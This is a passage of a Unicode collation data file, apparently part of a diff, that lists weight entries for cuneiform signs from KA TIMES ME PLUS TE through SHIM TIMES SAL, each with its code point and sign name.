+12177 ; [.4B2C.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS TE
+12178 ; [.4B2D.0020.0002] # CUNEIFORM SIGN KA TIMES MI
+12179 ; [.4B2E.0020.0002] # CUNEIFORM SIGN KA TIMES MI PLUS NUNUZ
+1217A ; [.4B2F.0020.0002] # CUNEIFORM SIGN KA TIMES NE
+1217B ; [.4B30.0020.0002] # CUNEIFORM SIGN KA TIMES NUN
+1217C ; [.4B31.0020.0002] # CUNEIFORM SIGN KA TIMES PI
+1217D ; [.4B32.0020.0002] # CUNEIFORM SIGN KA TIMES RU
+1217E ; [.4B33.0020.0002] # CUNEIFORM SIGN KA TIMES SA
+1217F ; [.4B34.0020.0002] # CUNEIFORM SIGN KA TIMES SAR
+12180 ; [.4B35.0020.0002] # CUNEIFORM SIGN KA TIMES SHA
+12181 ; [.4B36.0020.0002] # CUNEIFORM SIGN KA TIMES SHE
+12182 ; [.4B37.0020.0002] # CUNEIFORM SIGN KA TIMES SHID
+12183 ; [.4B38.0020.0002] # CUNEIFORM SIGN KA TIMES SHU
+12184 ; [.4B39.0020.0002] # CUNEIFORM SIGN KA TIMES SIG
+12185 ; [.4B3A.0020.0002] # CUNEIFORM SIGN KA TIMES SUHUR
+12186 ; [.4B3B.0020.0002] # CUNEIFORM SIGN KA TIMES TAR
+12187 ; [.4B3C.0020.0002] # CUNEIFORM SIGN KA TIMES U
+12188 ; [.4B3D.0020.0002] # CUNEIFORM SIGN KA TIMES U2
+12189 ; [.4B3E.0020.0002] # CUNEIFORM SIGN KA TIMES UD
+1218A ; [.4B3F.0020.0002] # CUNEIFORM SIGN KA TIMES UMUM TIMES PA
+1218B ; [.4B40.0020.0002] # CUNEIFORM SIGN KA TIMES USH
+1218C ; [.4B41.0020.0002] # CUNEIFORM SIGN KA TIMES ZI
+1218D ; [.4B42.0020.0002] # CUNEIFORM SIGN KA2
+1218E ; [.4B43.0020.0002] # CUNEIFORM SIGN KA2 CROSSING KA2
+1218F ; [.4B44.0020.0002] # CUNEIFORM SIGN KAB
+12190 ; [.4B45.0020.0002] # CUNEIFORM SIGN KAD2
+12191 ; [.4B46.0020.0002] # CUNEIFORM SIGN KAD3
+12192 ; [.4B47.0020.0002] # CUNEIFORM SIGN KAD4
+12193 ; [.4B48.0020.0002] # CUNEIFORM SIGN KAD5
+12194 ; [.4B49.0020.0002] # CUNEIFORM SIGN KAD5 OVER KAD5
+12195 ; [.4B4A.0020.0002] # CUNEIFORM SIGN KAK
+12196 ; [.4B4B.0020.0002] # CUNEIFORM SIGN KAK TIMES IGI GUNU
+12197 ; [.4B4C.0020.0002] # CUNEIFORM SIGN KAL
+12198 ; [.4B4D.0020.0002] # CUNEIFORM SIGN KAL TIMES BAD
+12199 ; [.4B4E.0020.0002] # CUNEIFORM SIGN KAL CROSSING KAL
+1219A ; [.4B4F.0020.0002] # CUNEIFORM SIGN KAM2
+1219B ; [.4B50.0020.0002] # CUNEIFORM SIGN KAM4
+1219C ; [.4B51.0020.0002] # CUNEIFORM SIGN KASKAL
+1219D ; [.4B52.0020.0002] # CUNEIFORM SIGN KASKAL LAGAB TIMES U OVER LAGAB TIMES U
+1219E ; [.4B53.0020.0002] # CUNEIFORM SIGN KASKAL OVER KASKAL LAGAB TIMES U OVER LAGAB TIMES U
+1219F ; [.4B54.0020.0002] # CUNEIFORM SIGN KESH2
+121A0 ; [.4B55.0020.0002] # CUNEIFORM SIGN KI
+121A1 ; [.4B56.0020.0002] # CUNEIFORM SIGN KI TIMES BAD
+121A2 ; [.4B57.0020.0002] # CUNEIFORM SIGN KI TIMES U
+121A3 ; [.4B58.0020.0002] # CUNEIFORM SIGN KI TIMES UD
+121A4 ; [.4B59.0020.0002] # CUNEIFORM SIGN KID
+121A5 ; [.4B5A.0020.0002] # CUNEIFORM SIGN KIN
+121A6 ; [.4B5B.0020.0002] # CUNEIFORM SIGN KISAL
+121A7 ; [.4B5C.0020.0002] # CUNEIFORM SIGN KISH
+121A8 ; [.4B5D.0020.0002] # CUNEIFORM SIGN KISIM5
+121A9 ; [.4B5E.0020.0002] # CUNEIFORM SIGN KISIM5 OVER KISIM5
+121AA ; [.4B5F.0020.0002] # CUNEIFORM SIGN KU
+121AB ; [.4B60.0020.0002] # CUNEIFORM SIGN KU OVER HI TIMES ASH2 KU OVER HI TIMES ASH2
+121AC ; [.4B61.0020.0002] # CUNEIFORM SIGN KU3
+121AD ; [.4B62.0020.0002] # CUNEIFORM SIGN KU4
+121AE ; [.4B63.0020.0002] # CUNEIFORM SIGN KU4 VARIANT FORM
+121AF ; [.4B64.0020.0002] # CUNEIFORM SIGN KU7
+121B0 ; [.4B65.0020.0002] # CUNEIFORM SIGN KUL
+121B1 ; [.4B66.0020.0002] # CUNEIFORM SIGN KUL GUNU
+121B2 ; [.4B67.0020.0002] # CUNEIFORM SIGN KUN
+121B3 ; [.4B68.0020.0002] # CUNEIFORM SIGN KUR
+121B4 ; [.4B69.0020.0002] # CUNEIFORM SIGN KUR OPPOSING KUR
+121B5 ; [.4B6A.0020.0002] # CUNEIFORM SIGN KUSHU2
+121B6 ; [.4B6B.0020.0002] # CUNEIFORM SIGN KWU318
+121B7 ; [.4B6C.0020.0002] # CUNEIFORM SIGN LA
+121B8 ; [.4B6D.0020.0002] # CUNEIFORM SIGN LAGAB
+121B9 ; [.4B6E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A
+121BA ; [.4B6F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS DA PLUS HA
+121BB ; [.4B70.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS GAR
+121BC ; [.4B71.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS LAL
+121BD ; [.4B72.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AL
+121BE ; [.4B73.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AN
+121BF ; [.4B74.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ASH ZIDA TENU
+121C0 ; [.4B75.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BAD
+121C1 ; [.4B76.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BI
+121C2 ; [.4B77.0020.0002] # CUNEIFORM SIGN LAGAB TIMES DAR
+121C3 ; [.4B78.0020.0002] # CUNEIFORM SIGN LAGAB TIMES EN
+121C4 ; [.4B79.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GA
+121C5 ; [.4B7A.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GAR
+121C6 ; [.4B7B.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD
+121C7 ; [.4B7C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD PLUS GUD
+121C8 ; [.4B7D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HA
+121C9 ; [.4B7E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HAL
+121CA ; [.4B7F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HI TIMES NUN
+121CB ; [.4B80.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IGI GUNU
+121CC ; [.4B81.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM
+121CD ; [.4B82.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS HA
+121CE ; [.4B83.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS LU
+121CF ; [.4B84.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KI
+121D0 ; [.4B85.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KIN
+121D1 ; [.4B86.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KU3
+121D2 ; [.4B87.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL
+121D3 ; [.4B88.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL PLUS HI PLUS A
+121D4 ; [.4B89.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LAGAB
+121D5 ; [.4B8A.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LISH
+121D6 ; [.4B8B.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LU
+121D7 ; [.4B8C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LUL
+121D8 ; [.4B8D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME
+121D9 ; [.4B8E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME PLUS EN
+121DA ; [.4B8F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES MUSH
+121DB ; [.4B90.0020.0002] # CUNEIFORM SIGN LAGAB TIMES NE
+121DC ; [.4B91.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHE PLUS SUM
+121DD ; [.4B92.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH PLUS ERIN2
+121DE ; [.4B93.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH TENU
+121DF ; [.4B94.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2
+121E0 ; [.4B95.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2 PLUS SHU2
+121E1 ; [.4B96.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SUM
+121E2 ; [.4B97.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAG
+121E3 ; [.4B98.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAK4
+121E4 ; [.4B99.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TE PLUS A PLUS SU PLUS NA
+121E5 ; [.4B9A.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U
+121E6 ; [.4B9B.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS A
+121E7 ; [.4B9C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS U PLUS U
+121E8 ; [.4B9D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U2 PLUS ASH
+121E9 ; [.4B9E.0020.0002] # CUNEIFORM SIGN LAGAB TIMES UD
+121EA ; [.4B9F.0020.0002] # CUNEIFORM SIGN LAGAB TIMES USH
+121EB ; [.4BA0.0020.0002] # CUNEIFORM SIGN LAGAB SQUARED
+121EC ; [.4BA1.0020.0002] # CUNEIFORM SIGN LAGAR
+121ED ; [.4BA2.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE
+121EE ; [.4BA3.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE PLUS SUM
+121EF ; [.4BA4.0020.0002] # CUNEIFORM SIGN LAGAR GUNU
+121F0 ; [.4BA5.0020.0002] # CUNEIFORM SIGN LAGAR GUNU OVER LAGAR GUNU SHE
+121F1 ; [.4BA6.0020.0002] # CUNEIFORM SIGN LAHSHU
+121F2 ; [.4BA7.0020.0002] # CUNEIFORM SIGN LAL
+121F3 ; [.4BA8.0020.0002] # CUNEIFORM SIGN LAL TIMES LAL
+121F4 ; [.4BA9.0020.0002] # CUNEIFORM SIGN LAM
+121F5 ; [.4BAA.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR
+121F6 ; [.4BAB.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR PLUS RU
+121F7 ; [.4BAC.0020.0002] # CUNEIFORM SIGN LI
+121F8 ; [.4BAD.0020.0002] # CUNEIFORM SIGN LIL
+121F9 ; [.4BAE.0020.0002] # CUNEIFORM SIGN LIMMU2
+121FA ; [.4BAF.0020.0002] # CUNEIFORM SIGN LISH
+121FB ; [.4BB0.0020.0002] # CUNEIFORM SIGN LU
+121FC ; [.4BB1.0020.0002] # CUNEIFORM SIGN LU TIMES BAD
+121FD ; [.4BB2.0020.0002] # CUNEIFORM SIGN LU2
+121FE ; [.4BB3.0020.0002] # CUNEIFORM SIGN LU2 TIMES AL
+121FF ; [.4BB4.0020.0002] # CUNEIFORM SIGN LU2 TIMES BAD
+12200 ; [.4BB5.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2
+12201 ; [.4BB6.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 TENU
+12202 ; [.4BB7.0020.0002] # CUNEIFORM SIGN LU2 TIMES GAN2 TENU
+12203 ; [.4BB8.0020.0002] # CUNEIFORM SIGN LU2 TIMES HI TIMES BAD
+12204 ; [.4BB9.0020.0002] # CUNEIFORM SIGN LU2 TIMES IM
+12205 ; [.4BBA.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD2
+12206 ; [.4BBB.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3
+12207 ; [.4BBC.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3 PLUS ASH
+12208 ; [.4BBD.0020.0002] # CUNEIFORM SIGN LU2 TIMES KI
+12209 ; [.4BBE.0020.0002] # CUNEIFORM SIGN LU2 TIMES LA PLUS ASH
+1220A ; [.4BBF.0020.0002] # CUNEIFORM SIGN LU2 TIMES LAGAB
+1220B ; [.4BC0.0020.0002] # CUNEIFORM SIGN LU2 TIMES ME PLUS EN
+1220C ; [.4BC1.0020.0002] # CUNEIFORM SIGN LU2 TIMES NE
+1220D ; [.4BC2.0020.0002] # CUNEIFORM SIGN LU2 TIMES NU
+1220E ; [.4BC3.0020.0002] # CUNEIFORM SIGN LU2 TIMES SI PLUS ASH
+1220F ; [.4BC4.0020.0002] # CUNEIFORM SIGN LU2 TIMES SIK2 PLUS BU
+12210 ; [.4BC5.0020.0002] # CUNEIFORM SIGN LU2 TIMES TUG2
+12211 ; [.4BC6.0020.0002] # CUNEIFORM SIGN LU2 TENU
+12212 ; [.4BC7.0020.0002] # CUNEIFORM SIGN LU2 CROSSING LU2
+12213 ; [.4BC8.0020.0002] # CUNEIFORM SIGN LU2 OPPOSING LU2
+12214 ; [.4BC9.0020.0002] # CUNEIFORM SIGN LU2 SQUARED
+12215 ; [.4BCA.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG
+12216 ; [.4BCB.0020.0002] # CUNEIFORM SIGN LU3
+12217 ; [.4BCC.0020.0002] # CUNEIFORM SIGN LUGAL
+12218 ; [.4BCD.0020.0002] # CUNEIFORM SIGN LUGAL OVER LUGAL
+12219 ; [.4BCE.0020.0002] # CUNEIFORM SIGN LUGAL OPPOSING LUGAL
+1221A ; [.4BCF.0020.0002] # CUNEIFORM SIGN LUGAL SHESHIG
+1221B ; [.4BD0.0020.0002] # CUNEIFORM SIGN LUH
+1221C ; [.4BD1.0020.0002] # CUNEIFORM SIGN LUL
+1221D ; [.4BD2.0020.0002] # CUNEIFORM SIGN LUM
+1221E ; [.4BD3.0020.0002] # CUNEIFORM SIGN LUM OVER LUM
+1221F ; [.4BD4.0020.0002] # CUNEIFORM SIGN LUM OVER LUM GAR OVER GAR
+12220 ; [.4BD5.0020.0002] # CUNEIFORM SIGN MA
+12221 ; [.4BD6.0020.0002] # CUNEIFORM SIGN MA TIMES TAK4
+12222 ; [.4BD7.0020.0002] # CUNEIFORM SIGN MA GUNU
+12223 ; [.4BD8.0020.0002] # CUNEIFORM SIGN MA2
+12224 ; [.4BD9.0020.0002] # CUNEIFORM SIGN MAH
+12225 ; [.4BDA.0020.0002] # CUNEIFORM SIGN MAR
+12226 ; [.4BDB.0020.0002] # CUNEIFORM SIGN MASH
+12227 ; [.4BDC.0020.0002] # CUNEIFORM SIGN MASH2
+12228 ; [.4BDD.0020.0002] # CUNEIFORM SIGN ME
+12229 ; [.4BDE.0020.0002] # CUNEIFORM SIGN MES
+1222A ; [.4BDF.0020.0002] # CUNEIFORM SIGN MI
+1222B ; [.4BE0.0020.0002] # CUNEIFORM SIGN MIN
+1222C ; [.4BE1.0020.0002] # CUNEIFORM SIGN MU
+1222D ; [.4BE2.0020.0002] # CUNEIFORM SIGN MU OVER MU
+1222E ; [.4BE3.0020.0002] # CUNEIFORM SIGN MUG
+1222F ; [.4BE4.0020.0002] # CUNEIFORM SIGN MUG GUNU
+12230 ; [.4BE5.0020.0002] # CUNEIFORM SIGN MUNSUB
+12231 ; [.4BE6.0020.0002] # CUNEIFORM SIGN MURGU2
+12232 ; [.4BE7.0020.0002] # CUNEIFORM SIGN MUSH
+12233 ; [.4BE8.0020.0002] # CUNEIFORM SIGN MUSH TIMES A
+12234 ; [.4BE9.0020.0002] # CUNEIFORM SIGN MUSH TIMES KUR
+12235 ; [.4BEA.0020.0002] # CUNEIFORM SIGN MUSH TIMES ZA
+12236 ; [.4BEB.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH
+12237 ; [.4BEC.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES A PLUS NA
+12238 ; [.4BED.0020.0002] # CUNEIFORM SIGN MUSH CROSSING MUSH
+12239 ; [.4BEE.0020.0002] # CUNEIFORM SIGN MUSH3
+1223A ; [.4BEF.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A
+1223B ; [.4BF0.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A PLUS DI
+1223C ; [.4BF1.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES DI
+1223D ; [.4BF2.0020.0002] # CUNEIFORM SIGN MUSH3 GUNU
+1223E ; [.4BF3.0020.0002] # CUNEIFORM SIGN NA
+1223F ; [.4BF4.0020.0002] # CUNEIFORM SIGN NA2
+12240 ; [.4BF5.0020.0002] # CUNEIFORM SIGN NAGA
+12241 ; [.4BF6.0020.0002] # CUNEIFORM SIGN NAGA INVERTED
+12242 ; [.4BF7.0020.0002] # CUNEIFORM SIGN NAGA TIMES SHU TENU
+12243 ; [.4BF8.0020.0002] # CUNEIFORM SIGN NAGA OPPOSING NAGA
+12244 ; [.4BF9.0020.0002] # CUNEIFORM SIGN NAGAR
+12245 ; [.4BFA.0020.0002] # CUNEIFORM SIGN NAM NUTILLU
+12246 ; [.4BFB.0020.0002] # CUNEIFORM SIGN NAM
+12247 ; [.4BFC.0020.0002] # CUNEIFORM SIGN NAM2
+12248 ; [.4BFD.0020.0002] # CUNEIFORM SIGN NE
+12249 ; [.4BFE.0020.0002] # CUNEIFORM SIGN NE TIMES A
+1224A ; [.4BFF.0020.0002] # CUNEIFORM SIGN NE TIMES UD
+1224B ; [.4C00.0020.0002] # CUNEIFORM SIGN NE SHESHIG
+1224C ; [.4C01.0020.0002] # CUNEIFORM SIGN NI
+1224D ; [.4C02.0020.0002] # CUNEIFORM SIGN NI TIMES E
+1224E ; [.4C03.0020.0002] # CUNEIFORM SIGN NI2
+1224F ; [.4C04.0020.0002] # CUNEIFORM SIGN NIM
+12250 ; [.4C05.0020.0002] # CUNEIFORM SIGN NIM TIMES GAN2 TENU
+12251 ; [.4C06.0020.0002] # CUNEIFORM SIGN NIM TIMES GAR PLUS GAN2 TENU
+12252 ; [.4C07.0020.0002] # CUNEIFORM SIGN NINDA2
+12253 ; [.4C08.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES AN
+12254 ; [.4C09.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH
+12255 ; [.4C0A.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH PLUS ASH
+12256 ; [.4C0B.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUD
+12257 ; [.4C0C.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ME PLUS GAN2 TENU
+12258 ; [.4C0D.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NE
+12259 ; [.4C0E.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NUN
+1225A ; [.4C0F.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE
+1225B ; [.4C10.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS A AN
+1225C ; [.4C11.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH
+1225D ; [.4C12.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH PLUS ASH
+1225E ; [.4C13.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U2 PLUS ASH
+1225F ; [.4C14.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES USH
+12260 ; [.4C15.0020.0002] # CUNEIFORM SIGN NISAG
+12261 ; [.4C16.0020.0002] # CUNEIFORM SIGN NU
+12262 ; [.4C17.0020.0002] # CUNEIFORM SIGN NU11
+122D4 ; [.4C18.0020.0002] # CUNEIFORM SIGN SHIR TENU
+122D5 ; [.4C19.0020.0002] # CUNEIFORM SIGN SHIR OVER SHIR BUR OVER BUR
+12263 ; [.4C1A.0020.0002] # CUNEIFORM SIGN NUN
+12264 ; [.4C1B.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES GAR
+12265 ; [.4C1C.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES MASH
+12266 ; [.4C1D.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL
+12267 ; [.4C1E.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL OVER NUN LAGAR TIMES SAL
+12268 ; [.4C1F.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES USH
+12269 ; [.4C20.0020.0002] # CUNEIFORM SIGN NUN TENU
+1226A ; [.4C21.0020.0002] # CUNEIFORM SIGN NUN OVER NUN
+1226B ; [.4C22.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN
+1226C ; [.4C23.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN LAGAR OVER LAGAR
+1226D ; [.4C24.0020.0002] # CUNEIFORM SIGN NUNUZ
+1226E ; [.4C25.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES ASHGAB
+1226F ; [.4C26.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES BI
+12270 ; [.4C27.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES DUG
+12271 ; [.4C28.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES GUD
+12272 ; [.4C29.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES IGI GUNU
+12273 ; [.4C2A.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES KAD3
+12274 ; [.4C2B.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES LA
+12275 ; [.4C2C.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES NE
+12276 ; [.4C2D.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES SILA3
+12277 ; [.4C2E.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES U2
+12278 ; [.4C2F.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI
+12279 ; [.4C30.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI U
+1227A ; [.4C31.0020.0002] # CUNEIFORM SIGN PA
+1227B ; [.4C32.0020.0002] # CUNEIFORM SIGN PAD
+1227C ; [.4C33.0020.0002] # CUNEIFORM SIGN PAN
+1227D ; [.4C34.0020.0002] # CUNEIFORM SIGN PAP
+1227E ; [.4C35.0020.0002] # CUNEIFORM SIGN PESH2
+1227F ; [.4C36.0020.0002] # CUNEIFORM SIGN PI
+12280 ; [.4C37.0020.0002] # CUNEIFORM SIGN PI TIMES A
+12281 ; [.4C38.0020.0002] # CUNEIFORM SIGN PI TIMES AB
+12282 ; [.4C39.0020.0002] # CUNEIFORM SIGN PI TIMES BI
+12283 ; [.4C3A.0020.0002] # CUNEIFORM SIGN PI TIMES BU
+12284 ; [.4C3B.0020.0002] # CUNEIFORM SIGN PI TIMES E
+12285 ; [.4C3C.0020.0002] # CUNEIFORM SIGN PI TIMES I
+12286 ; [.4C3D.0020.0002] # CUNEIFORM SIGN PI TIMES IB
+12287 ; [.4C3E.0020.0002] # CUNEIFORM SIGN PI TIMES U
+12288 ; [.4C3F.0020.0002] # CUNEIFORM SIGN PI TIMES U2
+12289 ; [.4C40.0020.0002] # CUNEIFORM SIGN PI CROSSING PI
+1228A ; [.4C41.0020.0002] # CUNEIFORM SIGN PIRIG
+1228B ; [.4C42.0020.0002] # CUNEIFORM SIGN PIRIG TIMES KAL
+1228C ; [.4C43.0020.0002] # CUNEIFORM SIGN PIRIG TIMES UD
+1228D ; [.4C44.0020.0002] # CUNEIFORM SIGN PIRIG TIMES ZA
+1228E ; [.4C45.0020.0002] # CUNEIFORM SIGN PIRIG OPPOSING PIRIG
+1228F ; [.4C46.0020.0002] # CUNEIFORM SIGN RA
+12290 ; [.4C47.0020.0002] # CUNEIFORM SIGN RAB
+12291 ; [.4C48.0020.0002] # CUNEIFORM SIGN RI
+12292 ; [.4C49.0020.0002] # CUNEIFORM SIGN RU
+12293 ; [.4C4A.0020.0002] # CUNEIFORM SIGN SA
+12294 ; [.4C4B.0020.0002] # CUNEIFORM SIGN SAG NUTILLU
+12295 ; [.4C4C.0020.0002] # CUNEIFORM SIGN SAG
+12296 ; [.4C4D.0020.0002] # CUNEIFORM SIGN SAG TIMES A
+12297 ; [.4C4E.0020.0002] # CUNEIFORM SIGN SAG TIMES DU
+12298 ; [.4C4F.0020.0002] # CUNEIFORM SIGN SAG TIMES DUB
+12299 ; [.4C50.0020.0002] # CUNEIFORM SIGN SAG TIMES HA
+1229A ; [.4C51.0020.0002] # CUNEIFORM SIGN SAG TIMES KAK
+1229B ; [.4C52.0020.0002] # CUNEIFORM SIGN SAG TIMES KUR
+1229C ; [.4C53.0020.0002] # CUNEIFORM SIGN SAG TIMES LUM
+1229D ; [.4C54.0020.0002] # CUNEIFORM SIGN SAG TIMES MI
+1229E ; [.4C55.0020.0002] # CUNEIFORM SIGN SAG TIMES NUN
+1229F ; [.4C56.0020.0002] # CUNEIFORM SIGN SAG TIMES SAL
+122A0 ; [.4C57.0020.0002] # CUNEIFORM SIGN SAG TIMES SHID
+122A1 ; [.4C58.0020.0002] # CUNEIFORM SIGN SAG TIMES TAB
+122A2 ; [.4C59.0020.0002] # CUNEIFORM SIGN SAG TIMES U2
+122A3 ; [.4C5A.0020.0002] # CUNEIFORM SIGN SAG TIMES UB
+122A4 ; [.4C5B.0020.0002] # CUNEIFORM SIGN SAG TIMES UM
+122A5 ; [.4C5C.0020.0002] # CUNEIFORM SIGN SAG TIMES UR
+122A6 ; [.4C5D.0020.0002] # CUNEIFORM SIGN SAG TIMES USH
+122A7 ; [.4C5E.0020.0002] # CUNEIFORM SIGN SAG OVER SAG
+122A8 ; [.4C5F.0020.0002] # CUNEIFORM SIGN SAG GUNU
+122A9 ; [.4C60.0020.0002] # CUNEIFORM SIGN SAL
+122AA ; [.4C61.0020.0002] # CUNEIFORM SIGN SAL LAGAB TIMES ASH2
+122AB ; [.4C62.0020.0002] # CUNEIFORM SIGN SANGA2
+122AC ; [.4C63.0020.0002] # CUNEIFORM SIGN SAR
+122AD ; [.4C64.0020.0002] # CUNEIFORM SIGN SHA
+122AE ; [.4C65.0020.0002] # CUNEIFORM SIGN SHA3
+122AF ; [.4C66.0020.0002] # CUNEIFORM SIGN SHA3 TIMES A
+122B0 ; [.4C67.0020.0002] # CUNEIFORM SIGN SHA3 TIMES BAD
+122B1 ; [.4C68.0020.0002] # CUNEIFORM SIGN SHA3 TIMES GISH
+122B2 ; [.4C69.0020.0002] # CUNEIFORM SIGN SHA3 TIMES NE
+122B3 ; [.4C6A.0020.0002] # CUNEIFORM SIGN SHA3 TIMES SHU2
+122B4 ; [.4C6B.0020.0002] # CUNEIFORM SIGN SHA3 TIMES TUR
+122B5 ; [.4C6C.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U
+122B6 ; [.4C6D.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U PLUS A
+122B7 ; [.4C6E.0020.0002] # CUNEIFORM SIGN SHA6
+122B8 ; [.4C6F.0020.0002] # CUNEIFORM SIGN SHAB6
+122B9 ; [.4C70.0020.0002] # CUNEIFORM SIGN SHAR2
+122BA ; [.4C71.0020.0002] # CUNEIFORM SIGN SHE
+122BB ; [.4C72.0020.0002] # CUNEIFORM SIGN SHE HU
+122BC ; [.4C73.0020.0002] # CUNEIFORM SIGN SHE OVER SHE GAD OVER GAD GAR OVER GAR
+122BD ; [.4C74.0020.0002] # CUNEIFORM SIGN SHE OVER SHE TAB OVER TAB GAR OVER GAR
+122BE ; [.4C75.0020.0002] # CUNEIFORM SIGN SHEG9
+122BF ; [.4C76.0020.0002] # CUNEIFORM SIGN SHEN
+122C0 ; [.4C77.0020.0002] # CUNEIFORM SIGN SHESH
+122C1 ; [.4C78.0020.0002] # CUNEIFORM SIGN SHESH2
+122C2 ; [.4C79.0020.0002] # CUNEIFORM SIGN SHESHLAM
+122C3 ; [.4C7A.0020.0002] # CUNEIFORM SIGN SHID
+122C4 ; [.4C7B.0020.0002] # CUNEIFORM SIGN SHID TIMES A
+122C5 ; [.4C7C.0020.0002] # CUNEIFORM SIGN SHID TIMES IM
+122C6 ; [.4C7D.0020.0002] # CUNEIFORM SIGN SHIM
+122C7 ; [.4C7E.0020.0002] # CUNEIFORM SIGN SHIM TIMES A
+122C8 ; [.4C7F.0020.0002] # CUNEIFORM SIGN SHIM TIMES BAL
+122C9 ; [.4C80.0020.0002] # CUNEIFORM SIGN SHIM TIMES BULUG
+122CA ; [.4C81.0020.0002] # CUNEIFORM SIGN SHIM TIMES DIN
+122CB ; [.4C82.0020.0002] # CUNEIFORM SIGN SHIM TIMES GAR
+122CC ; [.4C83.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI
+122CD ; [.4C84.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI GUNU
+122CE ; [.4C85.0020.0002] # CUNEIFORM SIGN SHIM TIMES KUSHU2
+122CF ; [.4C86.0020.0002] # CUNEIFORM SIGN SHIM TIMES LUL
+122D0 ; [.4C87.0020.0002] # CUNEIFORM SIGN SHIM TIMES MUG
+122D1 ; [.4C88.0020.0002] # CUNEIFORM SIGN SHIM TIMES SAL
